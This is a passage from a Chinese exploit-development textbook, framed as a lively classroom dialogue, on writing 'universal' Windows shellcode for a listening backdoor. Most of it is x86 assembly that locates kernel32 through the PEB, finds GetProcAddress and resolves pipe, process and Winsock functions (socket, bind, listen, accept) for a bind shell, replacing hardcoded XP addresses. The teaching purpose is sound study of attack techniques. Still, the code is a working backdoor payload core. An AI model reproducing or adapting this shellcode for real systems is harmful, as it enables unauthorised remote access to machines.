### 6.1.4 通用ShellCode的编写——监听后门

“具体来说，原来的实现是这样的，直接存放地址值。”

``````//原来的实现，把要用到的函数地址存起来——以下都是XP SP0
mov eax,0x77e5727a
mov [ebp+4], eax; CreatePipe
mov eax,0x77e41bb8
mov [ebp+8], eax; CreateProcessA
mov eax,0x77e97624
mov [ebp+12], eax; PeekNamedPipe
mov eax,0x77e59d8c
mov [ebp+16], eax; WriteFile
mov eax,0x77e58b82
mov [ebp+20], eax; ReadFile
mov eax,0x77e55cb5
mov [ebp+24], eax; ExitProcess
mov eax,0x71a241da
mov [ebp+28], eax; WSAStartup
mov eax,0x71a23c22
mov [ebp+32], eax; socket
mov eax,0x71a23ece
mov [ebp+36], eax; bind
mov eax,0x71a25de2
mov [ebp+40], eax; listen
mov eax,0x71a2868d
mov [ebp+44], eax; accept
mov eax,0x71a21af4
mov [ebp+48], eax; send
mov eax,0x71a25690
mov [ebp+52], eax; recv
``````

``````mov eax, fs:0x30 ;PEB
mov eax, [eax + 0x0c] ;Ldr
mov esi, [eax + 0x1c] ;Flink
lodsd
mov edi, [eax + 0x08] ;edi就是kernel32.dll的地址
mov eax, [edi+3Ch] ;eax = PE首部
mov edx,[edi+eax+78h]
add edx,edi ;edx = 输出表地址
mov ecx,[edx+18h] ;ecx = 输出函数的个数
mov ebx,[edx+20h]
search:
dec ecx
mov esi,[ebx+ecx*4]
mov eax,0x50746547
cmp [esi], eax; 'PteG'
jne search
mov eax,0x41636f72
cmp [esi+4],eax; 'Acor'
jne search
;如果是GetProcA，表示找到了
mov ebx,[edx+24h]
mov cx,[ebx+ecx*2] ;ecx = 计算出的索引号值
mov ebx,[edx+1Ch]
mov eax,[ebx+ecx*4]
``````

“然后，依次动态获得CreatePipe、CreateProcessA等函数的地址，替换直接存放的值。比如，找CreatePipe函数地址的代码如下：”

``````push dword ptr 0x00006570
push dword ptr 0x69506574
push dword ptr 0x61657243
push esp
push edi
call [ebp+76]
mov [ebp+4], eax; CreatePipe
``````

“哦！”同学们明白了，“后面的函数也是这样获取？”

“是的！”老师说到，“但要注意，像Socket一类套接字函数的地址，不是在kernel32.dll中，而是在Ws2_32.dll中！所以，我们要先 LoadLibrary(“Ws2_32.dll”) 获得Ws2_32.dl的基址，再用 GetProcAddress (Ws2_32.dl基址,” socket”) 来获取类似套接字函数的地址。”

“具体说来，就是要加上如下获取函数地址的代码。”

``````push ebp;
sub esp, 100;
mov ebp,esp;
mov eax, fs:0x30 ;PEB
mov eax, [eax + 0x0c] ;Ldr
mov esi, [eax + 0x1c] ;Flink
lodsd
mov edi, [eax + 0x08] ;edi就是kernel32.dll的地址
mov eax, [edi+3Ch] ;eax = PE首部
mov edx,[edi+eax+78h]
add edx,edi ;edx = 输出表地址
mov ecx,[edx+18h] ;ecx = 输出函数的个数
mov ebx,[edx+20h]
search:
dec ecx
mov esi,[ebx+ecx*4]
mov eax,0x50746547
cmp [esi], eax; 'PteG'
jne search
mov eax,0x41636f72
cmp [esi+4],eax; 'Acor'
jne search
;如果是GetProcA，表示找到了
mov ebx,[edx+24h]
mov cx,[ebx+ecx*2] ;ecx = 计算出的索引号值
mov ebx,[edx+1Ch]
mov eax,[ebx+ecx*4]
mov [ebp+76], eax ;把GetProcAddress的地址存在 ebp+76中
push 0x0
push dword ptr 0x41797261
push dword ptr 0x7262694c
push dword ptr 0x64616f4c
push esp
push edi
call [ebp+76]
push dword ptr 0x00006570
push dword ptr 0x69506574
push dword ptr 0x61657243
push esp
push edi
call [ebp+76]
mov [ebp+4], eax; CreatePipe 0x00006570 69506574 61657243
push dword ptr 0x00004173
push dword ptr 0x7365636f
push dword ptr 0x72506574
push dword ptr 0x61657243
push esp
push edi
call [ebp+76]
mov [ebp+8], eax; CreateProcessA 0x4173 7365636f 72506574 61657243
push dword ptr 0x00000065
push dword ptr 0x70695064
push dword ptr 0x656d614e
push dword ptr 0x6b656550
push esp
push edi
call [ebp+76]
mov [ebp+12], eax; PeekNamedPipe 0x00000065 70695064 656d614e 6b656550
push dword ptr 0x00000065
push dword ptr 0x6c694665
push dword ptr 0x74697257
push esp
push edi
call [ebp+76]
mov [ebp+16], eax; WriteFile 0x00000065 0x6c694665 0x74697257
push dword ptr 0
push dword ptr 0x656c6946
push dword ptr 0x64616552
push esp
push edi
call [ebp+76]
mov [ebp+20], eax; ReadFile
push dword ptr 0x00737365
push dword ptr 0x636f7250
push dword ptr 0x74697845
push esp
push edi
call [ebp+76]
mov [ebp+24], eax; ExitProcess 0x00737365 0x636f7250 0x74697845
push dword ptr 0x00003233
push dword ptr 0x5f327357
push esp
call [ebp+80] ;LoadLibrary(Ws2_32) 0x00003233 5f327357
mov edi, eax
push dword ptr 0x00007075
push dword ptr 0x74726174
push dword ptr 0x53415357
push esp
push edi
call [ebp+76]
mov [ebp+28], eax; WSAStartup 0x00007075 0x74726174 0x53415357
push dword ptr 0x00007465
push dword ptr 0x6b636f73
push esp
push edi
call [ebp+76]
mov [ebp+32], eax; socket 0x00007465 0x6b636f73
push dword ptr 0
push dword ptr 0x646e6962
push esp
push edi
call [ebp+76]
mov [ebp+36], eax; bind 0x646e6962
push dword ptr 0x00006e65
push dword ptr 0x7473696c
push esp
push edi
call [ebp+76]
mov [ebp+40], eax; listen 0x00006e65 0x7473696c
push dword ptr 0x00007470
push dword ptr 0x65636361
push esp
push edi
call [ebp+76]
mov [ebp+44], eax; accept 0x00007470 0x65636361
push 0
push dword ptr 0x646e6573
push esp
push edi
call [ebp+76]
mov [ebp+48], eax; send 0x646e6573
push 0
push dword ptr 0x76636572
push esp
push edi
call [ebp+76]
mov [ebp+52], eax; recv 0x76636572
mov eax,0x0
mov [ebp+56],0
mov [ebp+60],0
mov [ebp+64],0
mov [ebp+68],0
mov [ebp+72],0
LWSAStartup:
``````

“动态获取每个函数的地址后，剩下的代码就完全不用改变。我们把它合起来后，得到Pipe2AllVersionAsm.cpp（光盘有收录）。再测试一下，果然成功了！如图6－7。”

“欢迎大家来到——宇宙通用版！”老师说道。

“哇！太Cool了！”教室里一阵欢腾，把中国队7:0都没有出线的悲伤抛在了脑后。

“接下来大家应该知道做什么了吧？”老师笑道。

“啊？做什么呢？” 玉波装糊涂的问道。

“提取ShellCode啊！”老师可一点儿不含糊。

“哇！这么长的代码，好可怕啊！”连一向勤奋的古风都受不了一句句抄写的“折磨”，“有没有简单点的方法啊？”

“嗯，”老师打量了一下代码说道，“是有点长……反正大家的思路都清楚了，再抄也没必要了。”

“就是啊！”台下齐声说道。

“好，那这次就先别提取了，留在我们讲ShellCode提取技巧时再说吧！我们继续看其他的方法。”

“好啊！”大家不用做单调的苦力活，高兴ing……